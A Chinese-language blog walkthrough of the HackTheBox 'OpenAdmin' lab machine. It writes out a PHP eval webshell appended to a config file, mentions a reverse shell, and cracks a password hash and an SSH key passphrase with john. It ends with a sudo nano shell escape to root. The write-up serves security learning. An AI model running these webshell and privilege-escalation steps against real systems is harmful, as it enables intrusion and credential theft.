avatar

hackthebox OpenAdmin

靶场挺好的,可以在线搞,复习一下内外渗透相关的知识~

信息收集

image-20200301201807021

目标 ip web 默认服务是 apache 的默认页面,没啥东西,在网址后面随便加了一个路径,报错信息显示是 Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80

获得的信息太少,还没啥思路。接着扫了目录和端口,端口只开了 2 个,目录扫描发现了一个 302 在 /music 下。

跟进去看了一下,点击 login 的时候自动以 guest 用户登录了一个不知道是什么系统。

image-20200301203029486

image-20200301203051215

image-20200301202541241

当你不知道是什么系统的时候,可以右键源代码。看看框架里的 js 代码,然后 google 一下,基本就能查到是什么框架,发现用的是 opennetadmin 这个系统,版本是 v18.1.1,那现在思路就笔记明显了。我们以 guest 登录到了opennetadmin 这个系统的后台,可以看看有没有垂直提权到 admin 的路子或者看看有没上传。当然,肯定是先看历史漏洞。

image-20200301202701379

##拿下webshell

一顿操作后发现了刚好是这个版本的 rce,链接:https://www.anquanke.com/vul/id/1829729。

这个 exp 有点儿坑的地方在 mac 会报一个错误 head: illegal line count – -1,不用管它,放在 linux 下就没问题了。

image-20200301204713359

现在能命令执行了,不过这个交互实在太难用了,可以反弹一个半交互的 shell 回来。测试了以下服务器的环境 有 perl,python3 和 php。既然有 php 环境,那先上一个一句话,传文件什么的方便一点。

1
echo '<?php @eval($_POST['pwd']);?>' >> /opt/ona/www/images/config.php

image-20200302214311435

连到蚁剑后发现一句话反弹的 shell 都不能用,就上了一个 php 弹 bash 的文件。本地监听 9090 即可收到反弹的 bash。这样对于后续的渗透就很方便了

image-20200302214614644

然后看看能不能内核提权,上脚本。可以看到目标机器系统内核还是比较新的,而且当前用户也没有 gcc。一个脚本需要登录 ssh, 一个需要至少核心数为2,但不支持 18.04.3,遂放弃,看看其它方向。

image-20200302220331555

查看内核数

1
cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l

拿下user

一番思索后,还是没啥思路,看来信息收集的还不够多。先上一个 LinEnum,可以收集各种方面渗透的信息。输出的东西有点儿多,一个屏幕放不下来,我们把它重定向到文件里下载到本地看。

1
./LinEnum.sh > info.txt

还有忘了看网站的配置文件了,这些密码都可以作为字典来碰撞这个系统的其它用户,毕竟自己的机器一般用的都是一个密码,最多加一些修改,fuzz 的话机率还是很高的。查了一下这个框架的数据库配置文件在 local/config/database_settings.inc.php

image-20200302222705613

看了一下系统用户,有两个比较可疑。jimmy && joanna

image-20200302223500421

用数据库的密码测试两个账号,jimmy pass , joanna fail。

image-20200302223726389

我们的目的是找到 flag 并拿到 root shell。去 /home 目录下发现没有 flag,那八成应该在另一个账号里了。不过拿到这个账号肯定是有用的,至于用处在哪,还没发现,再次收集一波信息。找了一波发现在 /var/www/ 下有一个 jimmy 的文件夹。

image-20200302224822394

Index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
ob_start();
session_start();
?>

<?
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
?>

<html lang = "en">

<head>
<title>Tutorialspoint.com</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">

<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}

.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}

.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}

.form-signin .checkbox {
font-weight: normal;
}

.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}

.form-signin .form-control:focus {
z-index: 2;
}

.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}

.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}

h2{
text-align: center;
color: #017572;
}
</style>

</head>
<body>

<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->

<div class = "container">

<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>

</div>

</body>
</html>

Main.php

1
2
3
4
5
6
7
8
<?php # OpenAdmin
$output = shell_exec("cat /home/joanna/.ssh/id_rsa");
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

分析了一下上面的代码,发现如果 username && passwd 正确会跳转到 main.php。main.php 中会输出 joanna 这个用户的 ssh 密钥。我拿这个 hash 去 cmd5 上看了一下,发现可以破解,次数还有很多,问题不大。

image-20200303154134882

解密出来后为 Revealed,现在的问题就是如何 post 这个 url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个 ssh 内部了,结合这个目录名字 internal。但是一开始扫端口只有 80 和 22。。于是我看了一下本地启动的服务,3306 不用说了,那大概率就是那个 52846

1
netstat -ano | grep 127.0.0.1

image-20200303160313803

1
curl -d "username=jimmy&password=Revealed" -X POST http://127.0.0.1:52846/main.php

image-20200303160636333

Ok, ssh_key 到手,直接连接 jimmy 这个账号之前我们还需要知道这个私钥的密码,使用 john 破解一下 字典就是kali 自带的。

先用 john 自带脚本转换一下格式

1
python /usr/share/john/ssh2john.py id_rsa > ssh

image-20200303185914074

通过 ssh -i 成功登录,在当前目录下成功拿到 user.txt

1
ssh -i id_rsa joanna@10.10.10.171

image-20200303190633960

root shell

image-20200303200220147

看了一下,可以执行 /bin/nano /opt/priv 这些不需要 root 密码。那就是要用 nano 逃逸来提权了。

1
2
3
nano
^R^X
reset; sh 1>&0 2>&0

image-20200303200633382

Author: CarlStar
Link: http://yoursite.com/2020/03/03/%E6%B8%97%E9%80%8F/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment